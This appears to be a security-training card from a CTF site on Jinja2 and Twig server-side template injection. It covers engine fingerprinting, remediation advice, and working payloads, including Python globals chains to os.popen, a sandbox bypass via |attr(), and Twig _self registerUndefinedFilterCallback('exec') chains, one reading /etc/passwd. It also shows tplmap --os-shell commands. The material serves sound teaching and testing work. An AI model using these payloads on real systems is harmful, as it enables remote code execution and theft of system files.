Browse CTFs New CTF Sign in

Template injection (Jinja2/Twig)

web_auth_sessions Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Jinja2 and Twig are the dominant server-side template engines in Python/Flask and PHP/Symfony ecosystems respectively. Both use syntactically identical {{ }} expression delimiters, making engine-type misidentification a common tester error. The exploitation paths diverge significantly because one operates in a Python object model and the other in a PHP execution environment. Understanding the precise sandbox mechanisms and escape techniques for each engine is essential for accurate vulnerability assessment in modern web application stacks. Bug bounty reports regularly identify SSTI in Flask applications, and PHP CMS plugins based on Twig have been vectors for critical vulnerabilities.

Core Concept

Jinja2 (Python) implements a SandboxedEnvironment that restricts access to Python's special attributes (__class__, __mro__, __globals__, __builtins__) and dangerous built-in functions. The sandbox is implemented by overriding the getattr, getitem, and call methods to check a blocklist of dangerous names before permitting access. It is a denylist approach, and bypasses exist because the blocklist cannot enumerate every possible path through Python's rich object model.

Twig (PHP) does not implement an equivalent object-traversal sandbox. Its security model relies on disabling specific tags ({% set %}, raw output) and limiting the template context to explicitly passed variables. The _self global variable, present in many Twig configurations, exposes the Twig environment object itself, which provides access to the filter/extension registration mechanism — a path to arbitrary PHP function execution.

The violated invariant for both engines is identical: user input used as template text rather than as a template variable. The fix is also identical: use the engine correctly by separating template structure from data.

Engine discrimination when both use {{ }}: look for error messages. Jinja2 errors reference Python types and Jinja2 module names. Twig errors reference PHP and Twig class names. The {{7*'7'}} probe is definitive: Jinja2 performs string repetition and returns 7777777; Twig returns 49 (PHP coerces the string to integer for multiplication).

Jinja2 sandbox escape paths (without SandboxedEnvironment, standard Jinja2): - cycler.__init__.__globals__ — cycler is a Jinja2 built-in global, its __init__ function's __globals__ contains the os module. - lipsum.__globals__ — the lipsum text generator built-in similarly exposes globals. - namespace.__init__.__globals__ — the namespace function introduced in Jinja2 2.10.

Twig RCE path: - _self.env.registerUndefinedFilterCallback('exec') — registers PHP's exec() as the handler for unknown filters. - _self.env.getFilter('id') — calls the registered handler with 'id' as the argument, executing exec('id').

Technical Deep-Dive

# --- Jinja2 engine discrimination ---
{{7*7}}       → 49   (both Jinja2 and Twig)
{{7*'7'}}     → 7777777  (Jinja2: Python string * int = repetition)
              → 49         (Twig: PHP coerces '7' to int)

# --- Jinja2: standard (non-sandboxed) escape paths ---

# cycler globals path:
{{cycler.__init__.__globals__.os.popen('id').read()}}

# lipsum globals path:
{{lipsum.__globals__['os'].popen('id').read()}}

# namespace globals path (Jinja2 >= 2.10):
{{namespace.__init__.__globals__.os.popen('id').read()}}

# Direct __import__ via builtins (longer path):
{{'x'.__class__.__mro__[1].__subclasses__()}}
# Find index of subprocess.Popen or os._wrap_close, then:
{{'x'.__class__.__mro__[1].__subclasses__()[INDEX](['id'],stdout=-1).communicate()[0]}}

# --- Jinja2 SandboxedEnvironment bypass ---
# |attr() filter accesses attributes by string name:
{{('x'|attr('__class__')|attr('__mro__'))[1]|attr('__subclasses__')()}}
# If __class__ is blocked: use request object (Flask context):
{{request|attr('application')|attr('__globals__')|attr('__builtins__')|...}}
{# --- Twig (PHP): standard RCE path --- #}
{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}
{# Output: uid=33(www-data) gid=33(www-data) #}

{# Alternative: registerUndefinedFilterCallback with shell_exec #}
{{_self.env.registerUndefinedFilterCallback('shell_exec')}}
{{_self.env.getFilter('cat /etc/passwd')}}

{# Twig sandbox mode (SecurityPolicy) — restricted environment #}
{# When Twig sandbox is active, only explicitly allowed functions/properties #}
{# are callable. Test by attempting: #}
{{_self}}         {# → object reference if _self is exposed #}
{{_self.env}}     {# → error if env access is sandboxed #}

{# Detection: distinguish Jinja2 from Twig by error messages #}
{# Inject: {{foobar}} — Twig error: "Variable 'foobar' does not exist" #}
{# Jinja2 error: "UndefinedError: 'foobar' is undefined" #}
# tplmap with explicit engine specification:
python3 tplmap.py -u 'https://flask-app.example.com/greet?name=*' 
  --engine Jinja2 --os-cmd 'id'

python3 tplmap.py -u 'https://symfony-app.example.com/greet?name=*' 
  --engine Twig --os-cmd 'id'

# Auto-detect (tests all engines):
python3 tplmap.py -u 'https://target.example.com/greet?name=*' 
  --os-shell

Security Assessment Methodology

  1. Inject the discrimination probe — Use {{7*'7'}}. Result of 7777777 confirms Jinja2; result of 49 confirms Twig. This single test correctly identifies the engine when both use {{ }} delimiters.
  2. Attempt globals access (Jinja2) — Try {{cycler.__init__.__globals__}} and {{lipsum.__globals__}}. If either returns a Python dict, the environment is non-sandboxed and RCE is straightforward.
  3. Probe sandbox presence (Jinja2) — If the direct globals access raises a security exception or returns empty, attempt |attr() filter bypass. Identify the Jinja2 version from error messages or response headers to target known sandbox bypass CVEs.
  4. Attempt _self path (Twig) — For Twig targets, inject {{_self.env}}. If the environment object is accessible, proceed with registerUndefinedFilterCallback.
  5. Test Twig SecurityPolicy — Attempt {{_self.env.getFilter('id')}} after registration; a "not allowed" error confirms SecurityPolicy is active. Document the restricted context.
  6. Use tplmap for engine-specific enumeration — Run tplmap with the identified --engine flag for comprehensive payload coverage.
  7. Document sandbox status — Report whether the application uses SandboxedEnvironment (Jinja2) or SecurityPolicy (Twig), as this affects exploitability and the specific remediation recommended.

Defensive Countermeasure — For Jinja2: always use jinja2.sandbox.SandboxedEnvironment when user input must appear in template logic (not just as variable values), keep Jinja2 updated to receive sandbox bypass patches, and audit the template context to remove unnecessary globals (cycler, lipsum, namespace). For Twig: enable TwigSandboxSecurityPolicy with a strict allowlist of permitted tags, filters, and functions; remove _self from the template context if not required for template functionality. For both: audit all call sites of render_template_string() (Jinja2) and $twig->createTemplate() (Twig) to ensure user input is never passed as the template source.

Common Assessment Errors

  • Using only {{7*7}} for engine discrimination — This returns 49 for both engines. Always follow up with {{7*'7'}} to distinguish Jinja2 from Twig.
  • Applying Python chains to PHP targets — Jinja2 subclass traversal payloads will error on Twig/PHP. Using the wrong chain wastes time and may trigger WAF alerts.
  • Assuming sandbox means unexploitable — Both engines have documented sandbox bypass techniques. A sandboxed environment requires deeper payload research, not abandonment.
  • Not reading error messages carefully — SSTI error messages often reveal the engine version, the restricted attribute name, and the stack trace — all valuable for selecting the correct bypass.
  • Missing the _self global — Twig RCE depends on _self being available in the template context. Testers who test arithmetic expressions but not _self miss the PHP execution path.
  • Failing to test Twig SecurityPolicy restrictions — Reporting Twig SSTI as unexploitable because registerUndefinedFilterCallback errors without checking whether the SecurityPolicy blocklist is exhaustive misses potential bypass paths.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Develops engine-specific understanding of Jinja2 and Twig sandbox mechanisms and escape paths
K0070 Knowledge of system and application security threats and vulnerabilities Covers Python and PHP template injection contexts and their differing object models
S0001 Skill in conducting vulnerability scans Trains engine discrimination methodology and tplmap engine-targeted scanning
S0044 Skill in mimicking threat behaviors Builds adversarial skill in selecting correct engine-specific RCE chains
T0028 Test system security controls Covers sandbox configuration assessment and template context audit
T0591 Perform penetration testing Provides complete Jinja2/Twig SSTI exploitation methodology with sandbox bypass

Further Reading

  • Server-Side Template Injection — PortSwigger Web Security Academy (Jinja2 and Twig labs)
  • Twig for Developers: Sandbox Extension — Twig Documentation, Symfony
  • Jinja2 Sandbox Documentation — Pallets Projects (jinja.palletsprojects.com)

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.